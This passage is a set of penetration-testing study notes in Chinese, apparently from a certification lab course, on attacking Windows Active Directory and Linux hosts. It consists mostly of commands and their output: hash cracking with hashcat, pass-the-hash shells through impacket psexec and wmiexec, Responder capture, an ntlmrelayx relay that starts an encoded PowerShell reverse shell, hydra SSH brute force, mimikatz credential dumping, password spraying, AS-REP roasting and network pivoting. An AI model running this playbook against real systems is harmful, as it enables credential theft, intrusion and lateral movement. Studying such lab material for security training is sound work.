   5600 | NetNTLMv2                                           | Network Protocol
  27100 | NetNTLMv2 (NT)                                      | Network Protocol
   1000 | NTLM                                                | Operating System

輸出顯示正確的模式為 1000

現在我們擁有開始破解 NTLM 雜湊所需的一切。我們已經提取了雜湊,因為 Mimikatz 輸出的格式是 Hashcat 可接受的格式。下一步是選擇一個單字清單和規則文件。在這個例子中,我們將使用 rockyou.txt 單字清單和包含 64 個有效規則的 best64.rule 規則文件。

讓我們提供所有參數和值以啟動 Hashcat 破解過程。

kali@kali:~/passwordattacks$ hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
hashcat (v6.2.5) starting
...
3ae8e5f0ffabb3a627672e1600f1ba10:nicole1                  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 3ae8e5f0ffabb3a627672e1600f1ba10
Time.Started.....: Thu Jun  2 04:11:28 2022, (0 secs)
Time.Estimated...: Thu Jun  2 04:11:28 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 17926.2 kH/s (2.27ms) @ Accel:256 Loops:77 Thr:1 Vec:8
...

輸出顯示我們成功破解了 nelly 使用者的 NTLM 雜湊。用於創建此雜湊的明文密碼是 nicole1


# Kerberos 破解
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

image-1702381538187.png

【terminal】【impacket】psexec

要執行 psexec,我們可以輸入 impacket-psexec 並帶有兩個參數。第一個參數是 -hashes,它允許我們使用 NTLM 雜湊來對目標進行身份驗證。格式為 "LMHash:NTHash",其中我們在冒號後指定 Administrator 的 NTLM 雜湊。由於我們只使用 NTLM 雜湊,因此 LMHash 部分可以填充為 32 個 0。

第二個參數是目標定義,格式為 "username@ip"。

在命令的末尾,我們可以指定另一個參數,用於確定 psexec 應在目標系統上執行哪個命令。如果我們將其留空,將執行 cmd.exe,為我們提供一個交互式的 shell。

kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.50.212.....
[*] Found writable share ADMIN$
[*] Uploading file nvaXenHl.exe
[*] Opening SVCManager on 192.168.50.212.....
[*] Creating service MhCl on 192.168.50.212.....
[*] Starting service MhCl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname
FILES02

C:\Windows\system32> ipconfig
 
Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
   IPv4 Address. . . . . . . . . . . : 192.168.50.212
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> exit

kali@kali:~$

我們成功在 FILES02 上獲得了一個交互式 shell。由於 psexec.py 的性質,我們將始終以 SYSTEM 而不是我們用來驗證的用戶身份接收 shell。

我們還可以使用其他 impacket 腳本之一,比如 wmiexec.py 來獲得一個以我們用於身份驗證的用戶身份的 shell。在 Kali 上,我們將使用 impacket-wmiexec,以及我們用於 impacket-psexec 的參數。

kali@kali:~$ impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator

C:\>

正如 whoami 的輸出所示,我們使用 wmiexec 而不是 SYSTEM 作為 Administrator 用戶獲得了 shell。

在本節中,我們使用 pass-the-hash 來訪問 SMB 共享。然後,我們使用 hash 來使用 impacket-psexec 和 impacket-wmiexec 獲取一個交互式 shell。

【SMB】【Net-NTLMv2雜湊監聽】Responder

 

現在讓我們進行這個過程。首先,我們需要運行ip a以檢索所有接口的列表。然後,我們將以sudo運行Responder(在Kali上已經預安裝),以啟用處理各種協議的特權原始套接字操作所需的權限。我們將使用-I設置監聽接口,請注意您的接口名稱可能與此處顯示的不同。

kali@kali:~$ ip a
...
3: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 42:11:48:1b:55:18 brd ff:ff:ff:ff:ff:ff
    inet 192.168.119.2/24 scope global tap0
       valid_lft forever preferred_lft forever
    inet6 fe80::4011:48ff:fe1b:5518/64 scope link 
       valid_lft forever preferred_lft forever

kali@kali:~$ sudo responder -I tap0 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
...
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
...
[+] Listening for events...

輸出顯示Responder現在正在聽取事件,並且SMB伺服器已啟用。

我們的下一步是使用paul的綁定外殼向我們的Responder SMB伺服器請求訪問一個不存在的SMB共享。我們將使用對\192.168.119.2\test執行簡單的dir列出命令,其中"test"是一個任意的目錄名稱。我們只關心身份驗證過程,而不是共享列表。

讓我們切換回包含我們的Netcat綁定外殼連接的終端選項卡,並輸入該命令。

C:\Windows\system32>dir \\192.168.119.2\test
dir \\192.168.119.2\test
Access is denied.

Responder標籤應該顯示如下內容:

...
[+] Listening for events... 
[SMB] NTLMv2-SSP Client   : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash     : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000
000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E
002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480
055005800430034005400490043002E00360057004D0052002E004C004F00430041004C000300140036005700
4D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C00070008000
0B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D7009
0007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A00100000000000000000000000000000000000090
0240063006900660073002F003100390032002E003100360038002E003100310038002E003200000000000000
0000

這表示Responder成功捕獲了paul的Net-NTLMv2雜湊。我們將其保存到paul.hash文件中,以便使用Hashcat進行破解。在我們開始破解之前,讓我們檢索正確的模式。

kali@kali:~$ cat paul.hash   
paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000000000000B0
50CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00
340044004E00480055005800430034005400490043000400340057...

kali@kali:~$ hashcat --help | grep -i "ntlm"
   5500 | NetNTLMv1 / NetNTLMv1+ESS                           | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                      | Network Protocol
   5600 | NetNTLMv2                                           | Network Protocol
  27100 | NetNTLMv2 (NT)                                      | Network Protocol
   1000 | NTLM                                                | Operating System

這個文件包含了paul的捕獲的Net-NTLMv2雜湊(在此清單中被裁剪了),根據Hashcat的說法,它的模式是5600("NetNTLMv2")。

現在讓我們嘗試使用rockyou.txt單詞列表來破解這個雜湊。密碼為:123Password123

kali@kali:~$ hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.5) starting
...

PAUL::FILES01:1f9d4c51f6e74653:795f138ec69c274d0fd53bb32908a72b:01010000000000000
0b050cd1777d801b7585df5719acfba0000000002000800360057004d00520001001e00570049004e
002d00340044004e004800550058004300340054004900430004003400570049004e002d003400440
04e00480055005800430034005400490043002e00360057004d0052002e004c004f00430041004c00
03001400360057004d0052002e004c004f00430041004c0005001400360057004d0052002e004c004
f00430041004c000700080000b050cd1777d801060004000200000008003000300000000000000000
000000002000008ba7af42bfd51d70090007951b57cb2f5546f7b599bc577ccd13187cfc5ef4790a0
01000000000000000000000000000000000000900240063006900660073002f003100390032002e00
3100360038002e003100310038002e0032000000000000000000:123Password123
...

【shell】【impacket】ntlmrelayx

 

# --no-http-server來停用HTTP伺服器,因為我們正在中繼SMB連接
# -smb2support添加對SMB2.3的支援。
# -t將目標設定為FILES02。
# -c設定我們要在目標系統上作為中繼用戶執行的命令
kali@kali:~$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 \
-c "powershell -enc JABjAGwAaQBlAG4AdA..." 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

接下來,在一個新的終端標籤中,我們將在端口8080上啟動Netcat聽取器,以接收傳入的反向殼。

kali@kali:~$ nc -nvlp 8080 
listening on [any] 8080 ...

現在,我們將在另一個終端中執行Netcat以連接到FILES01上的綁定殼(端口5555)。連接後,我們將輸入dir \192.168.119.2\test以建立到我們Kali機器的SMB連接。再次強調,遠程文件夾名稱是任意的。

kali@kali:~$  nc 192.168.50.211 5555                                       
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
files01\files02admin

C:\Windows\system32>dir \\192.168.119.2\test
...

我們應該在ntlmrelayx的終端標籤中收到一個傳入的連接。

[*] SMBD-Thread-4: Received connection from 192.168.50.211, attacking target smb://192.168.50.212
[*] Authenticating against smb://192.168.50.212 as FILES01/FILES02ADMIN SUCCEED
[*] SMBD-Thread-6: Connection from 192.168.50.211 controlled, but there are no more targets left!
...
[*] Executed specified command on host: 192.168.50.212

輸出顯示ntlmrelayx接收到了一個SMB連接,並使用它中繼到我們的目標進行身份驗證。在成功驗證後,我們的命令在目標上被執行。

我們的Netcat聽取器應該已經捕獲到了反向殼。

connect to [192.168.119.2] from (UNKNOWN) [192.168.50.212] 49674
whoami
nt authority\system

PS C:\Windows\system32> hostname
FILES02

PS C:\Windows\system32> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
   IPv4 Address. . . . . . . . . . . : 192.168.50.212
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

清單56顯示,我們可以利用中繼攻擊在FILES02上取得代碼執行權限。

【列舉】【提權】【Linux】unix-privesc-check

/usr/bin/unix-privesc-check

kali@kali:~$ unix-privesc-check
unix-privesc-check v1.4 ( http://pentestmonkey.net/tools/unix-privesc-check )

Usage: unix-privesc-check { standard | detailed }

"standard" mode: Speed-optimised check of lots of security settings.

"detailed" mode: Same as standard mode, but also checks perms of open file
                 handles and called files (e.g. parsed from shell scripts,
                 linked .so files).  This mode is slow and prone to false 
                 positives but might help you find more subtle flaws in 3rd
                 party programs.

This script checks file permissions and other settings that could allow
local users to escalate privileges.
...
joe@debian-privesc:~$ ./unix-privesc-check standard > output.txt

該腳本對常見文件的權限執行了大量檢查。例如,以下節錄顯示了可由非 root 用戶寫入的配置文件:

Checking for writable config files
############################################
    Checking if anyone except root can change /etc/passwd
WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd
    Checking if anyone except root can change /etc/group
    Checking if anyone except root can change /etc/fstab
    Checking if anyone except root can change /etc/profile
    Checking if anyone except root can change /etc/sudoers
    Checking if anyone except root can change /etc/shadow

此輸出顯示任何系統上的人都可以編輯 /etc/passwd。這相當重要,因為它允許攻擊者輕鬆提升特權2或在目標上創建用戶帳戶。我們將在本模塊後面進行演示。

【密碼】【字典】crunch

字典生成

# 最小和最大長度設置為 6 個字符
# 使用 -t 參數指定模式,然後將前三個字符硬編碼為 "Lab",後跟三位數字。
kali@kali:~$ crunch 6 6 -t Lab%%% > wordlist

 

然後,我們可以驗證生成的單詞列表的內容:

kali@kali:~$ cat wordlist
Lab000
Lab001
Lab002
Lab003
Lab004
Lab005
Lab006
Lab007
Lab008
Lab009
...

【破解】【SSH】Hydra

 

# hydra -l {user} -P {password字典} {ip} -t 4 ssh -V
kali@kali:~$ hydra -l eve -P wordlist  192.168.50.214 -t 4 ssh -V

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 14:30:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000 login tries (l:1/p:1000), ~250 tries per task
[DATA] attacking ssh://192.168.50.214:22/
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab000" - 1 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab001" - 2 of 1000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab002" - 3 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab003" - 4 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab004" - 5 of 1000 [child 2] (0/0)
...
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab120" - 121 of 1000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab121" - 122 of 1000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab122" - 123 of 1000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.214 - login "eve" - pass "Lab123" - 124 of 1000 [child 1] (0/0)
[22][ssh] host: 192.168.50.214   login: eve   password: Lab123
1 of 1 target successfully completed, 1 valid password found

# login: eve   password: Lab123

【列舉】【shell】getcap

https://feichashao.com/capabilities_basic/

# 尋找設置uid檔案
joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/perl5.28.1 = cap_setuid+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

【port forwarding】socat

們將啟動一個詳細模式的(-ddd) Socat 進程。
它將在 TCP 埠 2345 上監聽(TCP-LISTEN:2345),在收到連接時分叉為一個新的子進程(fork)
,而不是在單個連接後死亡,
然後將收到的所有流量轉發到 PGDATABASE01 的 TCP 埠 5432(TCP:10.4.50.215:5432)。

# socat -ddd TCP-LISTEN:{src_port},fork TCP:{dist_ip}:{dist_port}
confluence@confluence01$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
<ocat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432   
2022/08/18 10:12:01 socat[46589] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2022/08/18 10:12:01 socat[46589] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2022/08/18 10:12:01 socat[46589] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2022/08/18 10:12:01 socat[46589] I setting option "fork" to 1
2022/08/18 10:12:01 socat[46589] I socket(2, 1, 6) -> 5
2022/08/18 10:12:01 socat[46589] I starting accept loop
2022/08/18 10:12:01 socat[46589] N listening on AF=2 0.0.0.0:2345

【port forwarding】rinetd

https://github.com/samhocevar/rinetd

rinetd 是一個簡單的 TCP 端口轉發工具,它可以將進入的 TCP 連接重定向到指定的目標 IP 地址和端口。以下是 rinetd 的基本使用方式:

  1. 安裝 rinetd

    在大多數 Linux 系統上,你可以使用包管理器進行安裝。例如,在基於 Debian/Ubuntu 的系統上,可以運行:

    sudo apt-get install rinetd
    

    在基於 Red Hat/CentOS 的系統上,可以使用 yum

    sudo yum install rinetd
    
  2. 配置 rinetd

    配置文件通常位於 /etc/rinetd.conf,你可以使用文本編輯器(如 nanovim)來編輯它:

    sudo nano /etc/rinetd.conf
    

    在配置文件中,每行包含一條規則,指定了本地和遠程端口。格式如下:

    bindaddress bindport connectaddress connectport
    
    • bindaddress:本地 IP 地址,可以是 0.0.0.0 表示所有網卡。
    • bindport:本地監聽端口。
    • connectaddress:目標伺服器的 IP 地址。
    • connectport:目標伺服器的端口。

    例如:

    0.0.0.0 8080 192.168.1.100 80
    

    這條規則將本地機器的 8080 端口的請求重定向到 IP 地址為 192.168.1.100,端口為 80 的伺服器。

  3. 啟動 rinetd 服務:

    保存配置文件並啟動 rinetd 服務:

    sudo service rinetd restart
    

    或者,使用 systemctl

    sudo systemctl restart rinetd
    

    這將讓 rinetd 讀取配置文件並應用轉發規則。

  4. 確認 rinetd 是否運作:

    你可以使用以下命令檢查 rinetd 是否正在運行:

    sudo service rinetd status
    

    或者,使用 systemctl

    sudo systemctl status rinetd
    

    如果服務正在運行,而且配置文件沒有錯誤,則 rinetd 將開始將來自本地端口的請求轉發到指定的目標伺服器。

請注意,rinetd 主要用於簡單的 TCP 端口轉發,並不支持高級功能。對於更複雜的需求,可能需要考慮使用其他工具或設置伺服器上的防火牆規則。

【port forwarding】proxychains

kali@kali:~$ tail /etc/proxychains4.conf

image-1702220562365.png

配置了Proxychains後,現在我們可以使用我們Kali機器上的smbclient列出HRSHARES上的可用共享。與其連接到CONFLUENCE01上的埠口,我們將撰寫smbclient命令,就好像我們直接連接到PGDATABASE01一樣。與之前一樣,我們將使用-L指定列出可用共享,使用-U傳遞用戶名,並使用--password傳遞密碼。

接下來,我們只需在命令前添加proxychains。Proxychains將讀取配置文件,鉤入smbclient進程,並強制將所有流量通過我們指定的SOCKS代理。

kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

image-1702220641823.png

【port forwarding】sshuttle

然而,它需要在SSH客戶端上具有root權限並在SSH伺服器上使用Python3,因此它並非始終是最輕量級的選擇。

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)

# vm1(192.168.59.63):2222 -> vm2(10.4.50.215):22
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
# kali
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

【滲透】Metasploit

image-1702571909454.png

use exploit/windows/smb/psexec 
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!"
set RHOSTS 172.16.5.200
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8000

image-1702571978686.png

 

【powershell】PowerView

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-NetDomain
PS C:\Tools> Get-NetUser
PS C:\Tools> Get-NetUser "Trade"
PS C:\Tools> Get-NetUser | select cn
PS C:\Tools> Get-NetUser | select cn,pwdlastset,lastlogon
PS C:\Tools> Get-NetGroup | select cn
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,
DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
PS C:\Tools> Get-NetComputer | select operatingsystem,dnshostname

operatingsystem              dnshostname
---------------              -----------
Windows Server 2022 Standard DC1.corp.com
Windows Server 2022 Standard web04.corp.com
Windows Server 2022 Standard FILES04.corp.com
Windows 11 Pro               client74.corp.com
Windows 11 Pro               client75.corp.com
Windows 10 Pro               CLIENT76.corp.com
PS C:\Tools> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

image-1702296568176.png

# 查看登入帳戶在哪台機器有admin帳號
PS C:\Tools> Find-LocalAdminAccess

client74.corp.com
# 尋找domain機器分享資料夾
PS C:\Tools> Find-DomainShare

Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           DC1.corp.com
C$       2147483648 Default share          DC1.corp.com
IPC$     2147483651 Remote IPC             DC1.corp.com
NETLOGON          0 Logon server share     DC1.corp.com
SYSVOL            0 Logon server share     DC1.corp.com
ADMIN$   2147483648 Remote Admin           web04.corp.com
backup            0                        web04.corp.com
C$       2147483648 Default share          web04.corp.com
IPC$     2147483651 Remote IPC             web04.corp.com
ADMIN$   2147483648 Remote Admin           FILES04.corp.com
PS C:\Tools> Get-NetSession -ComputerName files04 -v
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -v
VERBOSE: [Get-NetSession] Error: Access is denied
PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

#輸出顯示了擁有FullControl或ReadKey權限的組和用戶,這意味著它們都可以讀取SrvsvcSessionInfo密鑰本身。

image-1702296466763.png

讓我們運行下面的命令,看看你自己的帳戶有哪些ACE:

PS C:\Tools> Get-ObjectAcl -Identity stephanie

image-1702297512890.png

枚舉SPN的另一種方法是讓PowerView枚舉域中的所有帳戶。為了獲取清晰的SPN列表,我們可以將輸出導入select,並選擇samaccountname和serviceprincipalname屬性:

PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname

image-1702297178060.png

輸出的量可能看似龐大,因為我們列舉了每一個授予或拒絕對 Stephanie 某種權限的 ACE。雖然有許多屬性似乎可能有用,但我們主要關心的是在清單 58 的截斷輸出中突顯的那些。

輸出列舉了兩個安全標識符(SID),這是代表 AD 中對象的 5 個唯一值。第一個(位於突顯的 ObjectSID 屬性中)包含值 "S-1-5-21-1987370270-658905905-1781884369-1104",這相當難以閱讀。為了理解這個 SID,我們可以使用 PowerView 的 Convert-SidToName 命令將其轉換為實際的網域對象名稱:

PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

image-1702297724313.png

轉換顯示,ObjectSID 屬性中的 SID 屬於我們目前使用的 stephanie 使用者。ActiveDirectoryRights 屬性描述了應用於對象的權限類型。為了找出在這種情況下誰具有 ReadProperty 權限,我們需要將 SecurityIdentifier 的值進行轉換。

讓我們使用 PowerView 將其轉換為一個可讀的名稱:

image-1702297775442.png

根據 PowerView,SecurityIdentifier 屬性中的 SID 屬於一個名為 RAS and IAS Servers 的預設 AD 群組。

為了生成清晰且易於管理的輸出,我們將使用 PowerShell 的 -eq 標誌來過濾 ActiveDirectoryRights 屬性,僅顯示等於 GenericAll 的值。然後,我們將結果通道到 select,僅顯示 SecurityIdentifier 和 ActiveDirectoryRights 屬性:

PS C:\Tools> Get-ObjectAcl -Identity "Management Department" 
| ? {$_.ActiveDirectoryRights -eq "GenericAll"} 
| select SecurityIdentifier,ActiveDirectoryRights

image-1702297864440.png

在這個情況下,我們有總共五個對象對 Management Department 對象擁有 GenericAll 權限。為了理解這一點,讓我們將所有的 SID 轉換成實際的名稱:

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512"
,"S-1-5-21-1987370270-658905905-1781884369-1104"
,"S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" 
| Convert-SidToName

image-1702297933379.png


我們將使用 PowerView 的 Find-DomainShare 函數來查找域中的共享。我們也可以添加 -CheckShareAccess 標誌以僅顯示對我們可用的共享。但是,暫時我們將跳過此標誌以返回一個完整的列表,包括我們以後可能攻擊的共享。請注意,使用 PowerView 查找共享並列舉它們可能需要一些時間。

PS C:\Tools> Find-DomainShare

image-1702298393440.png

清單 67 顯示了來自三台不同伺服器和一些客戶端的共享。儘管其中一些是默認的域共享,我們應該調查每個共享,尋找有趣的信息。

 

 

【powershell】PsLoggedOn

PsLoggedOn將列舉HKEY_USERS下的注冊表密鑰,以檢索已登錄用戶的安全標識符(SID)並將SID轉換為用戶名。 PsLoggedOn還將使用NetSessionEnum API查看誰通過資源共享登錄到計算機上。

然而,有一個局限性,就是PsLoggedOn依賴於遠程注冊表服務來掃描相關的密鑰。遠程注冊表服務自Windows 8以來就不再默認啟用在Windows工作站上,但系統管理員可能出於各種管理任務啟用它,以實現向後兼容性,或者用於安裝監控/部署工具、腳本、代理等。

它還在後來的Windows Server操作系統上默認啟用,如Server 2012 R2、2016(1607)、2019(1809)和Server 2022(21H2)。如果啟用了該服務,則該服務將在十分鐘的閒置後停止以節省資源,但一旦我們使用PsLoggedOn連接,它將重新啟用(帶有自動觸發器)。

現在,理論暫時告一段落,讓我們嘗試對之前嘗試列舉的計算機運行PsLoggedOn,首先是FILES04和WEB04。 PsLoggedOn位於CLIENT75的C:\Tools\PSTools目錄中。要使用它,我們只需將它與目標主機名一起運行:

image-1702296691910.png

運行這個命令,以查看WEB04上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。

image-1702296765555.png

運行這個命令,以查看CLIENT74上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。由於我們在CLIENT74啟用了Remote Registry服務,我們應該能夠成功列舉用戶會話。

image-1702296807909.png

看起來jeffadmin在CLIENT74上有一個開啟的會話,輸出顯示了一些非常有趣的信息。如果我們的枚舉是準確的,並且我們實際上在CLIENT74上擁有管理特權,我們應該能夠登錄並可能竊取jeffadmin的憑據!儘管立即嘗試這樣做可能很誘人,但最佳實踐是堅持原計畫,繼續我們的枚舉。畢竟,我們的目標不是迅速獲得勝利,而是提供徹底的分析。

【powershell】Sharphound

PS C:\Tools> Import-Module .\Sharphound.ps1

PS C:\Tools> Get-Help Invoke-BloodHound

PS C:\Tools> Invoke-BloodHound -CollectionMethod All -OutputDirectory 
C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

image-1702299351716.png

【雜湊】【AD】mimikatz

PS C:\Windows\system32> cd C:\Tools

PS C:\Tools\> .\mimikatz.exe
...

mimikatz # privilege::debug
Privilege '20' OK
#傾印所有已登錄使用者的憑證
mimikatz # sekurlsa::logonpasswords

image-1702380548962.png

# 顯示存儲在內存中的票證
mimikatz # sekurlsa::tickets

image-1702380695657.png

輸出檔案

# 輸出log
mimikatz # log c:\output.log
Using 'output.log' for logfile : OK

# 停止log
mimikatz # log /stop
Using '(null)' for logfile : OK

【powershell】【密碼噴灑】Spray-Passwords.ps1

PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> powershell -ep bypass
...

PS C:\Tools> .\Spray-Passwords.ps1 -Pass Nexus123! -Admin

image-1702381070288.png

【密碼噴灑】kerbrute

我們可以獲取並緩存Kerberos TGT。我們需要提供用戶名和密碼。如果憑證有效,我們將獲取一個TGT。這種技術的優勢在於,它僅使用兩個UDP帧來確定密碼是否有效,因為它僅發送AS-REQ並檢查響應。

我們可以使用Bash腳本或我們選擇的編程語言來自動化這種方法。幸運的是,我們還可以使用工具kerbrute,在其中實現這種技術以進行密碼噴灑。由於這個工具是跨平台的,我們可以在Windows和Linux上使用它。

讓我們使用C:\Tools中的Windows版本來執行這次攻擊。為了進行密碼噴灑,我們需要指定passwordspray命令以及一個用戶名列表和要噴灑的密碼。我們還需要為-d的參數輸入域corp.com。與之前一樣,我們將在C:\Tools中創建一個名為usernames.txt的文件,其中包含用戶名pete、dave和jen。

PS C:\Tools> type .\usernames.txt
pete
dave
jen

PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

image-1702381282845.png

非常好!清單13顯示,kerbrute確認了密碼Nexus123!對pete和jen有效。

【shell】【impacket】【AS-REP Roasting】GetNPUsers

kali@kali:~$ impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete

image-1702381438418.png

dave的用戶帳戶選項"不需要Kerberos預驗證"已啟用

【AS-REP Roasting】Rubeus

# /nowrap,以防止將新行添加到生成的AS-REP哈希
PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> .\Rubeus.exe asreproast /nowrap

image-1702381602009.png

接下來,讓我們複製AS-REP哈希並將其粘貼到名為hashes.asreproast2的文本文件中,該文件位於使用者kali的主目錄中。我們現在可以再次啟動Hashcat來破解AS-REP哈希。

kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

清單顯示Rubeus識別出dave易受AS-REP Roasting攻擊,並顯示AS-REP哈希。

image-1702381652792.png

 

【powershell】【自訂】ldap search

function1.ps1

function LDAPSearch {
    param (
        [string]$LDAPQuery
    )

    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
    $DistinguishedName = ([adsi]'').distinguishedName

    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")

    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)

    return $DirectorySearcher.FindAll()

}
PS C:\Users\stephanie> powershell -ep bypass
PS C:\Users\stephanie> Import-Module .\function.ps1
PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Service Personnel*))"
PS C:\Users\stephanie> $group.properties.member
CN=Billing,CN=Users,DC=corp,DC=com
PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Billing*))"
PS C:\Users\stephanie> $group.properties.member
CN=Customer support,CN=Users,DC=corp,DC=com
